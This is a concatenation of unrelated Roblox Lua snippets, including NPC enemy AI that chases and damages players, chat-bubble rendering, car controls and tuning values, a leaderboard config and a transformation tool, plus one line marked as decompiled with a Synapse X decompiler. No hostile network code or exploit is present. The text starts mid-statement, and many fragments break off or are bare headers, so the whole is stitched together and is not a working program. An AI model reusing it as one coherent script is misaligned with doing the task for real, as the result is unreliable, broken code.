JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then Spawn(function() WalkDebounce=true; local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0)); local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller); if RayTarget then local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone(); JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead; JeffTheKillerHeadFootStepClone:Play(); JeffTheKillerHeadFootStepClone:Destroy(); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<47 then Wait(0.5); elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>47 then Wait(0.2); end end; WalkDebounce=false; end); end; local MainTarget=FindNearestBae(); local FoundHumanoid; if MainTarget then for _,Child in pairs(MainTarget.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then JeffTheKillerHumanoid.Jump=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=2; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then if not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; end; end; if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then local MusicChoice=math.random(1,2); if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1"); elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2"); end; if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then ChosenMusic.Volume=0.5; ChosenMusic:Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then if not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; end; end; if not MainTarget and not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; if not MainTarget and not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; if MainTarget then Notice=true; if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play(); NoticeDebounce=true; end if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then JeffTheKillerHumanoid.WalkSpeed=47; elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then JeffTheKillerHumanoid.WalkSpeed=0.004; end; JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain")); end; else Notice=false; NoticeDebounce=false; local RandomWalk=math.random(1,150); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then JeffTheKillerHumanoid.WalkSpeed=12; if RandomWalk==1 then JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain")); end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then JeffTheKillerHumanoid.DisplayDistanceType="None"; JeffTheKillerHumanoid.HealthDisplayDistance=0; JeffTheKillerHumanoid.Name="ColdBloodedKiller"; JeffTheKillerHumanoid.NameDisplayDistance=0; JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion"; JeffTheKillerHumanoid.AutoJumpEnabled=true; JeffTheKillerHumanoid.AutoRotate=true; JeffTheKillerHumanoid.MaxHealth=500; JeffTheKillerHumanoid.JumpPower=60; JeffTheKillerHumanoid.MaxSlopeAngle=89.9; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then JeffTheKillerHumanoid.AutoJumpEnabled=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then JeffTheKillerHumanoid.AutoRotate=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then JeffTheKillerHumanoid.PlatformStand=false; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then JeffTheKillerHumanoid.Sit=false; end; end;
--[[ Local Functions ]]
-- function MasterControl:GetHumanoid() if LocalCharacter then if CachedHumanoid then return CachedHumanoid else CachedHumanoid = LocalCharacter:FindFirstChildOfClass("Humanoid") return CachedHumanoid end end end local characterAncestryChangedConn = nil local characterChildRemovedConn = nil local function characterAdded(character) if characterAncestryChangedConn then characterAncestryChangedConn:disconnect() end if characterChildRemovedConn then characterChildRemovedConn:disconnect() end LocalCharacter = character CachedHumanoid = LocalCharacter:FindFirstChildOfClass("Humanoid") characterAncestryChangedConn = character.AncestryChanged:connect(function() if character.Parent == nil then LocalCharacter = nil else LocalCharacter = character end end) characterChildRemovedConn = character.ChildRemoved:connect(function(child) if child == CachedHumanoid then CachedHumanoid = nil end end) end if LocalCharacter then characterAdded(LocalCharacter) end LocalPlayer.CharacterAdded:connect(characterAdded) local getHumanoid = MasterControl.GetHumanoid local moveFunc = LocalPlayer.Move local updateMovement = function() if not areControlsEnabled then return end local humanoid = getHumanoid() if not humanoid then return end if isJumpEnabled and isJumping and not humanoid.PlatformStand then local state = humanoid:GetState() if state ~= STATE_JUMPING and state ~= STATE_FREEFALL and state ~= STATE_LANDED then humanoid.Jump = isJumping end end moveFunc(LocalPlayer, moveValue, true) end
-- The location where all DevModules are moved at runtime. Note that a DevModule -- is moved after its scripts and other instances have been moved to their -- proper locations. What remains of the DevModule is the Packages folder, and -- any ModuleScripts that are used by the DevModule.
local DEV_MODULE_STORAGE = ReplicatedStorage
--[[ FUNCTIONS ]]
local function lerpLength(msg, min, max) return min + (max-min) * math.min(string.len(msg)/75.0, 1.0) end local function createFifo() local this = {} this.data = {} local emptyEvent = Instance.new("BindableEvent") this.Emptied = emptyEvent.Event function this:Size() return #this.data end function this:Empty() return this:Size() <= 0 end function this:PopFront() table.remove(this.data, 1) if this:Empty() then emptyEvent:Fire() end end function this:Front() return this.data[1] end function this:Get(index) return this.data[index] end function this:PushBack(value) table.insert(this.data, value) end function this:GetData() return this.data end return this end local function createCharacterChats() local this = {} this.Fifo = createFifo() this.BillboardGui = nil return this end local function createMap() local this = {} this.data = {} local count = 0 function this:Size() return count end function this:Erase(key) if this.data[key] then count = count - 1 end this.data[key] = nil end function this:Set(key, value) this.data[key] = value if value then count = count + 1 end end function this:Get(key) if not key then return end if not this.data[key] then this.data[key] = createCharacterChats() local emptiedCon = nil emptiedCon = this.data[key].Fifo.Emptied:connect(function() emptiedCon:disconnect() this:Erase(key) end) end return this.data[key] end function this:GetData() return this.data end return this end local function createChatLine(message, bubbleColor, isLocalPlayer) local this = {} function this:ComputeBubbleLifetime(msg, isSelf) if isSelf then return lerpLength(msg,8,15) else return lerpLength(msg,12,20) end end this.Origin = nil this.RenderBubble = nil this.Message = message this.BubbleDieDelay = this:ComputeBubbleLifetime(message, isLocalPlayer) this.BubbleColor = bubbleColor this.IsLocalPlayer = isLocalPlayer return this end local function createPlayerChatLine(player, message, isLocalPlayer) local this = createChatLine(message, BubbleColor.WHITE, isLocalPlayer) if player then this.User = player.Name this.Origin = player.Character end return this end local function createGameChatLine(origin, message, isLocalPlayer, bubbleColor) local this = createChatLine(message, bubbleColor, isLocalPlayer) this.Origin = origin return this end function createChatBubbleMain(filePrefix, sliceRect) local chatBubbleMain = Instance.new("ImageLabel") chatBubbleMain.Name = "ChatBubble" chatBubbleMain.ScaleType = Enum.ScaleType.Slice chatBubbleMain.SliceCenter = sliceRect chatBubbleMain.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png" chatBubbleMain.ImageColor3 = Color3.new(0,0,0) chatBubbleMain.BackgroundTransparency = 1 chatBubbleMain.BorderSizePixel = 0 chatBubbleMain.Size = UDim2.new(1.0, 0, 1.0, 0) chatBubbleMain.Position = UDim2.new(0,0,0,0) return chatBubbleMain end function createChatBubbleTail(position, size) local chatBubbleTail = Instance.new("ImageLabel") chatBubbleTail.Name = "ChatBubbleTail" chatBubbleTail.Image = "rbxasset://textures/ui/dialog_tail.png" chatBubbleTail.ImageColor3 = Color3.new(0,0,0) chatBubbleTail.BackgroundTransparency = 1 chatBubbleTail.BorderSizePixel = 0 chatBubbleTail.Position = position chatBubbleTail.Size = size return chatBubbleTail end function createChatBubbleWithTail(filePrefix, position, size, sliceRect) local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect) local chatBubbleTail = createChatBubbleTail(position, size) chatBubbleTail.Parent = chatBubbleMain return chatBubbleMain end function createScaledChatBubbleWithTail(filePrefix, frameScaleSize, position, sliceRect) local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect) local frame = Instance.new("Frame") frame.Name = "ChatBubbleTailFrame" frame.BackgroundTransparency = 1 frame.SizeConstraint = Enum.SizeConstraint.RelativeXX frame.Position = UDim2.new(0.5, 0, 1, 0) frame.Size = UDim2.new(frameScaleSize, 0, frameScaleSize, 0) frame.Parent = chatBubbleMain local chatBubbleTail = createChatBubbleTail(position, UDim2.new(1,0,0.5,0)) chatBubbleTail.Parent = frame return chatBubbleMain end function createChatImposter(filePrefix, dotDotDot, yOffset) local result = Instance.new("ImageLabel") result.Name = "DialogPlaceholder" result.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png" result.BackgroundTransparency = 1 result.BorderSizePixel = 0 result.Position = UDim2.new(0, 0, -1.25, 0) result.Size = UDim2.new(1, 0, 1, 0) local image = Instance.new("ImageLabel") image.Name = "DotDotDot" image.Image = "rbxasset://textures/" .. tostring(dotDotDot) .. ".png" image.BackgroundTransparency = 1 image.BorderSizePixel = 0 image.Position = UDim2.new(0.001, 0, yOffset, 0) image.Size = UDim2.new(1, 0, 0.7, 0) image.Parent = result return result end local this = {} this.ChatBubble = {} this.ChatBubbleWithTail = {} this.ScalingChatBubbleWithTail = {} this.CharacterSortedMsg = createMap()
--> Services
local Players = game:GetService("Players")
-- [ SETTINGS ] --
local statsName = "Kills" -- Your stats name local maxItems = 100 -- Max number of items to be displayed on the leaderboard local minValueDisplay = 1 -- Any numbers lower than this will be excluded local maxValueDisplay = 10e15 -- (10 ^ 15) Any numbers higher than this will be excluded local abbreviateValue = true -- The displayed number gets abbreviated to make it "human readable" local updateEvery = 60 -- (in seconds) How often the leaderboard has to update local headingColor = Color3.fromRGB(25, 181, 254) -- The background color of the heading
-- Note: This specific gauge model comes with different 'Gauge Face' colors, here are the options:
--//=================================\\ --|| WRAP --\\=================================//
function BEGINAI() HUMANOID.Died:Connect(function() DEAD = true script:Remove() end) coroutine.resume(coroutine.create(function() repeat wait() local TARGETVARIANTS = {} local PICK = nil for index, CHILD in pairs(workspace:GetDescendants()) do local HUMAN = CHILD:FindFirstChildOfClass("Humanoid") if HUMAN and CHILD:FindFirstChild("MinecraftHerobrineMainScript") == nil then if HUMAN.Health ~= 0 then if HUMAN.Torso then local DISTANCE = (HUMAN.Torso.Position - TORSO.Position).Magnitude table.insert(TARGETVARIANTS,{CHILD,DISTANCE}) end end end end local DIST = math.huge for E = 1, #TARGETVARIANTS do local PLAYER = TARGETVARIANTS[E] local CHARACTER = PLAYER[1] local DISTANCE = PLAYER[2] if DISTANCE < DIST then DIST = DISTANCE PICK = CHARACTER end end TARGET = PICK if TURNTO then GYRO.CFrame = CF(FAKEHEAD.Position,TURNTO.Position+VT(0,TURNTO.Size.Y/1.5,0)) else GYRO.CFrame = HEAD.CFrame end until DEAD == true end)) while true do if DEAD == true then break end if TARGET then local HUM = TARGET:FindFirstChildOfClass("Humanoid") if HUM then local ROOT = HUM.Torso if ROOT then local PATHFIND = game:GetService("PathfindingService"):ComputeRawPathAsync(TORSO.Position,ROOT.Position,2) if PATHFIND then local FOE = TARGET TURNTO = ROOT local PS = PATHFIND:GetPointCoordinates() local PREV = TORSO.Position local BR = #PS > 1 and 2 or 1 for i = BR,#PS do local POINT = PS[i] local DIST = math.huge repeat wait(0.1) DIST = (TORSO.Position - POINT).Magnitude HUMANOID:MoveTo(POINT) if (ROOT.Position - TORSO.Position).Magnitude < 7 then StabAnim() ApplyDamage(HUM,HUM.MaxHealth/20) local HIT = IT("Sound",ROOT) HIT.SoundId = "rbxassetid://"..HITSOUNDS[MRANDOM(1,#HITSOUNDS)] HIT.Parent = ROOT HIT.Pitch = 1 HIT.Volume = 1.5 HIT:Play() Debris:AddItem(HIT,2) if HUM.Health == 0 then break end wait(0.4) end until DIST < 5 or TARGET ~= FOE if TARGET ~= FOE then break end end else TURNTO = nil end else TURNTO = nil end else TURNTO = nil end else TURNTO = nil end wait() end end BEGINAI()
-- Services
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService") local CodesOtaku = ReplicatedStorage:WaitForChild("CodesOtaku") local CutsceneModule = CodesOtaku:WaitForChild("CutsceneModule") repeat wait() until workspace.CurrentCamera -- Wait until camera is found
-- emote bindable hook
script:WaitForChild("PlayEmote").OnInvoke = function(emote) -- Only play emotes when idling if pose ~= "Standing" then return end if emoteNames[emote] ~= nil then -- Default emotes playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid) return true, currentAnimTrack elseif typeof(emote) == "Instance" and emote:IsA("Animation") then -- Non-default emotes playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid) return true, currentAnimTrack end -- Return false to indicate that the emote could not be played return false end if Character.Parent ~= nil then -- initialize to idle playAnimation("idle", 0.1, Humanoid) pose = "Standing" end
-- Initialization
local Time = Instance.new('IntValue') Time.Parent = workspace:WaitForChild('MapPurgeProof') Time.Name = 'Time'
--------LEFT DOOR --------
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l12.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l71.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(21) game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(21)
-- Returns the ancestor that contains a Humanoid, if it exists
local function FindCharacterAncestor(subject) if subject and subject ~= Workspace then local humanoid = subject:FindFirstChild('Humanoid') if humanoid then return subject, humanoid else return FindCharacterAncestor(subject.Parent) end end return nil end
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 1000 -- Front brake force Tune.RBrakeForce = 1000 -- Rear brake force Tune.PBrakeForce = 5000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
--- End of Deprecated methods.
function module.new() local obj = setmetatable({}, methods) obj.ObjectPool = nil obj.ChatWindow = nil obj.DEFAULT_MESSAGE_CREATOR = DEFAULT_MESSAGE_CREATOR obj.MESSAGE_CREATOR_MODULES_VERSION = MESSAGE_CREATOR_MODULES_VERSION obj.KEY_MESSAGE_TYPE = KEY_MESSAGE_TYPE obj.KEY_CREATOR_FUNCTION = KEY_CREATOR_FUNCTION obj.KEY_BASE_FRAME = KEY_BASE_FRAME obj.KEY_BASE_MESSAGE = KEY_BASE_MESSAGE obj.KEY_UPDATE_TEXT_FUNC = KEY_UPDATE_TEXT_FUNC obj.KEY_GET_HEIGHT = KEY_GET_HEIGHT obj.KEY_FADE_IN = KEY_FADE_IN obj.KEY_FADE_OUT = KEY_FADE_OUT obj.KEY_UPDATE_ANIMATION = KEY_UPDATE_ANIMATION return obj end return module.new()
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "k" then --Camera controls if cam == ("car") then cam = ("first") elseif cam == ("first") then Camera.CameraSubject = carSeat Camera.CameraType = ("Custom") cam = ("car") Camera.FieldOfView = 70 end elseif key == "z" then left = not left LeftInd() elseif key == "c" then right = not right RightInd() elseif key:byte() == 48 then script.Parent.rBrake.Value = true elseif key == "l" then if carSeat.Lights.Value == false then carSeat.Lights.Value = true carSeat.Parent.Body.Lights.Lights.HL.L.Enabled = true carSeat.Parent.Body.Lights.Lights.HL.G.Enabled = true carSeat.Parent.Body.Lights.Lights.HR.L.Enabled = true carSeat.Parent.Body.Lights.Lights.HR.G.Enabled = true else carSeat.Lights.Value = false carSeat.Parent.Body.Lights.Lights.HL.L.Enabled = false carSeat.Parent.Body.Lights.Lights.HL.G.Enabled = false carSeat.Parent.Body.Lights.Lights.HR.L.Enabled = false carSeat.Parent.Body.Lights.Lights.HR.G.Enabled = false end elseif key == "[" then -- volume down if carSeat.Parent.MP.Volume.Value > 0 then carSeat.Parent.MP.Volume.Value = carSeat.Parent.MP.Volume.Value - 2 end elseif key == "]" then -- volume up if carSeat.Parent.MP.Volume.Value < 100 then carSeat.Parent.MP.Volume.Value = carSeat.Parent.MP.Volume.Value + 2 end end end) mouse.KeyUp:connect(function(key) if key:byte() == 48 then script.Parent.rBrake.Value = false end end) HUB.Limiter.MouseButton1Click:connect(function() --startup if carSeat.IsOn.Value == false then carSeat.IsOn.Value = true carSeat.Startup:Play() else carSeat.IsOn.Value = false end end) standButton.MouseButton1Click:connect(function() if ks.CanCollide == false then carSeat.Parent.Body.KW.Nein.Transparency = 0 carSeat.Parent.Body.KW.lamfo.Transparency = 0 ks.CanCollide = true elseif ks.CanCollide == true then carSeat.Parent.Body.KW.Nein.Transparency = 1 carSeat.Parent.Body.KW.lamfo.Transparency = 1 ks.CanCollide = false end end) function LeftInd() if left == true then repeat carSeat.Parent.Body.Lights.L.G.Enabled = true carSeat.Parent.Body.Lights.L2.G.Enabled = true carSeat.Parent.Body.Lights.Lights.L.G.Enabled = true script.Parent.Indicator:Play() script.Parent.HUB.Left.Visible = true wait(1/3) carSeat.Parent.Body.Lights.L.G.Enabled = false carSeat.Parent.Body.Lights.L2.G.Enabled = false carSeat.Parent.Body.Lights.Lights.L.G.Enabled = false script.Parent.Indicator2:Play() script.Parent.HUB.Left.Visible = false wait(1/3) until left == false carSeat.Parent.Body.Lights.L.G.Enabled = false carSeat.Parent.Body.Lights.L2.G.Enabled = false carSeat.Parent.Body.Lights.Lights.L.G.Enabled = false end end function RightInd() if right == true then repeat carSeat.Parent.Body.Lights.R.G.Enabled = true carSeat.Parent.Body.Lights.R2.G.Enabled = true carSeat.Parent.Body.Lights.Lights.R.G.Enabled = true script.Parent.Indicator:Play() script.Parent.HUB.Right.Visible = true wait(1/3) carSeat.Parent.Body.Lights.R.G.Enabled = false carSeat.Parent.Body.Lights.R2.G.Enabled = false carSeat.Parent.Body.Lights.Lights.R.G.Enabled = false script.Parent.Indicator2:Play() script.Parent.HUB.Right.Visible = false wait(1/3) until right == false carSeat.Parent.Body.Lights.R.G.Enabled = false carSeat.Parent.Body.Lights.R2.G.Enabled = false carSeat.Parent.Body.Lights.Lights.R.G.Enabled = false end end game:GetService("RunService").RenderStepped:connect(function() if carSeat.IsOn.Value == true and cam == "first" then local XLook=math.max(math.min(((mouse.X-(mouse.ViewSizeX/2))/300)^3,1),-1) local YLook=math.max(math.min(((mouse.Y-(mouse.ViewSizeY/2))/300)^3,1),-1) local LookOffset=player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,.1,-.5)*CFrame.Angles(-YLook,-XLook,0)) Camera.CameraType="Scriptable" Camera.CameraSubject=player.Character.Humanoid Camera.CoordinateFrame=LookOffset player.CameraMaxZoomDistance=0 else Camera.CameraSubject = carSeat Camera.CameraType = ("Custom") cam = ("car") player.CameraMaxZoomDistance=100 end end) script.Parent.CarSeat.Value.ChildRemoved:connect(function(child) Camera.CameraType="Custom" Camera.CameraSubject=player.Character.Humanoid player.CameraMaxZoomDistance=100 script:Destroy() end) while wait() do local g = carSeat.BodyGyro if W.Value == true and carSeat.Throttle == 1 then Whel = 0.4 elseif W.Value == true and carSeat.Throttle == -1 then Whel = -0.4 else Whel = 0 end g.CFrame=CFrame.new(carSeat.CFrame.p,carSeat.CFrame.p+carSeat.CFrame.lookVector)*CFrame.Angles(Whel,(-carSeat.Steer*math.min(carSeat.Velocity.magnitude/(carSeat.MxSpd.Value),diff)*math.pi/4)*(carSeat.Velocity.magnitude/(carSeat.MxSpd.Value/2)),-carSeat.Steer*math.min(carSeat.Velocity.magnitude/(carSeat.MxSpd.Value/2),1)*math.pi/5)
-- Decompiled with the Synapse X Luau decompiler.
wait(1); script.Parent:TweenSize(UDim2.new(-0, -0, -0, -0), "In", "Quad", 0.5, true); wait(1); script.Parent:Remove();
--<DON'T TOUCH THE SCRIPT UNLESS YOU KNOW WHAT YOU ARE DOING!
local RS = game:GetService('ReplicatedStorage') local TS = game:GetService('TweenService') local Tool = script.Parent local TextureArray = {} local Activated = false local Debounce = false local Cooldown = 1 local Prop = nil local LaughAnim = nil Tool.Activated:Connect(function() if not Debounce then Debounce = true task.delay(Cooldown, function() Debounce = false end) local Character = Tool.Parent if not Activated then Activated = true LaughAnim = Character.Humanoid:LoadAnimation(RS.SharkV4.Laugh) LaughAnim:Play() Character.HumanoidRootPart.Anchored = true Prop = RS.SharkV4.Props.Tail:Clone() Prop.Parent = Character local Attachment = Instance.new('Attachment') Attachment.Parent = Character.HumanoidRootPart Attachment.Position = Vector3.new(0,-2.5,0) local Wave = RS.SharkV4.Effects.Wave:Clone() Wave.Parent = Attachment local Smoke = RS.SharkV4.Effects.Smoke:Clone() Smoke.Parent = Character.HumanoidRootPart local Pixel = RS.SharkV4.Effects.Pixel:Clone() Pixel.Parent = Character.HumanoidRootPart local Laugh = RS.SharkV4.Sound.Laugh:Clone() Laugh.Parent = Character.HumanoidRootPart local SmokeSound = RS.SharkV4.Sound.Smoke:Clone() SmokeSound.Parent = Character.HumanoidRootPart Laugh:Play() task.delay(1.6,function() Laugh:Destroy() task.wait(0.25) Character.HumanoidRootPart.Anchored = false LaughAnim:Stop() end) SmokeSound:Play() local Tween = TS:Create(SmokeSound, TweenInfo.new(1.5), {Volume = 0}) Tween:Play() Tween.Completed:Connect(function() SmokeSound:Destroy() end) Wave:Emit(2) Smoke:Emit(100) Pixel:Emit(50) for _, Item in ipairs(Character.Humanoid:GetAccessories()) do local Hair = Item.Handle:FindFirstChild("HairAttachment") ~= nil if Hair then TextureArray[Item] = {TextureID = Item.Handle.TextureID, Color = Item.Handle.Color, Material = Item.Handle.Material} Item.Handle.Color = Color3.fromRGB(0, 85, 255) Item.Handle.TextureID = '' Item.Handle.Material = Enum.Material.Neon end end elseif Activated then Activated = false local Tween = TS:Create(Prop.Handle, TweenInfo.new(0.5), {Transparency = 1}) Tween:Play() Tween.Completed:Connect(function() Prop:Destroy() end) for _, Item in ipairs(Character.Humanoid:GetAccessories()) do local Hair = Item.Handle:FindFirstChild("HairAttachment") ~= nil if Hair then Item.Handle.Color = TextureArray[Item].Color Item.Handle.Material = TextureArray[Item].Material Item.Handle.TextureID = TextureArray[Item].TextureID TextureArray[Item] = nil end end end end end)
--since the UI clamps particle size, we have to override in code :(
local shockwave = script.Parent.ShockwaveLoc.Shockwave shockwave.Size = NumberSequence.new{ NumberSequenceKeypoint.new(0, 5), -- (time, value) NumberSequenceKeypoint.new(1, 20) } local flashPS = script.Parent.BloxSpawnLoc.FlashPS flashPS.Size = NumberSequence.new{ NumberSequenceKeypoint.new(0, 2), -- (time, value) NumberSequenceKeypoint.new(1, 25) }
-- ClientRemoteSignal -- Stephen Leitnick -- January 07, 2021
--When you are editing the car, make sure that the Left, Right, and Base parts are in a --straight line, and in the orientation the models comes with, or they won't be where you expect --them to be at all!
motorSpeed = 0.05 -- a typical number is 0.1 but lower is better if you get weird behavior
-- In radian the maximum accuracy penalty
local MaxSpread = 0.07
--[=[ @interface ServiceClient .Server Service .[any] any @within KnitServer ]=]
type ServiceClient = { Server: Service, [any]: any, }
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Hat" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(1,1.60000002,1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0,-0.4,0) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
------Body Variables------
local myHuman = marine.Humanoid local myRoot = marine.HumanoidRootPart local myHead = marine.Head
-- Gui Elements
